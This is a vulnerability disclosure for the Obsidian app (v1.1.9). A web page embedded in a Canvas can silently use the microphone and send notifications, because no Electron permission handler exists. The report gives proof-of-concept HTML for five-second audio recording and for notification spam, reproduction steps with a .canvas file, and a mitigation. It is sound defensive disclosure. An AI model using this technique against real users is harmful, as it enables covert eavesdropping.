Description
The attacker can abuse the Obsidian Canvas to silently record the user’s microphone, access the clipboard, send desktop notifications, etc. This could be achieved by embedding the website that contains special JavaScript that uses several Web APIs.
Due to the missing Session Permission Request handler in the Obsidian App user will not receive any notification or permission request from the embedded website.
For example, when this happens in the regular browser, the pop-up is displayed:
However, if the website is embedded in Canvas it can access the microphone API without any permission request.
The webpages must explicitly request permissions from the user, otherwise, this poses a significant risk to the user’s privacy.
Vector String - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Steps to reproduce (Record Audio)
- Create and host HTML file with following content (the page will record 5 seconds of audio from the microphone and than play it back).
The demo file is located at https://obs-demo-poc-serve.s3.amazonaws.com/files/poc1.html
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<h1>Make sure your microphone is unmuted.</h1>
<script>
// navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
// credit to https://github.com/bryanjenningz/record-audio
const recordAudio = () =>
new Promise(async resolve => {
const stream = await navigator.mediaDevices.getUserMedia({
audio: true
});
const mediaRecorder = new MediaRecorder(stream);
const audioChunks = [];
mediaRecorder.addEventListener("dataavailable", event => {
audioChunks.push(event.data);
});
const start = () => mediaRecorder.start();
const stop = () =>
new Promise(resolve => {
mediaRecorder.addEventListener("stop", () => {
const audioBlob = new Blob(audioChunks);
const audioUrl = URL.createObjectURL(audioBlob);
const audio = new Audio(audioUrl);
const play = () => audio.play();
resolve({
audioBlob,
audioUrl,
play
});
});
mediaRecorder.stop();
});
resolve({
start,
stop
});
});
const sleep = time => new Promise(resolve => setTimeout(resolve, time));
(async () => {
const recorder = await recordAudio();
recorder.start();
await sleep(5000);
const audio = await recorder.stop();
audio.play();
})();
</script>
</body>
</html>
- Create a blank Canvas and press “Add web page”, insert link to
poc1.html
OR create the following .canvas file (url
parameter is pointing to our page on the server):
{
"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://obs-demo-poc-serve.s3.amazonaws.com/files/poc1.html"}
"edges":[]
}
- Open the canvas file in Obsidian. The recording will start immediately, after 5 seconds it will be played back.
Steps to reproduce (Desktop Notifications)
- Replace HTML file with following and repeat the same steps.
https://obs-demo-poc-serve.s3.amazonaws.com/files/poc2.html
<!DOCTYPE html>
<html lang="en">
<head>
<title>_</title>
</head>
<body>
<script>
let i = 0;
const interval = setInterval(() => {
const n = new Notification(`Obsidian`, {
body: 'Notification example.'
});
if (i === 10) {
clearInterval(interval);
}
i++;
}, 500);
</script>
</body>
</html>
- Open the Canvas file and receive multiple desktop notifications from Obsidian:
Versions affected
Tested on:
Ubuntu 20.04.5 LTS
v.1.1.9, installer v.1.1.9
Windows 10 PRO 22H2
v.1.1.9, installer v.1.1.9
Mitigation
Implement Electron Session Permission Request handler to handle permission requests from the embedded pages. Access to Web APIs must be explicitly granted by the user or denied by default.
Here is the list of the permissions from the Electron documentation that are possible to cover with the handler.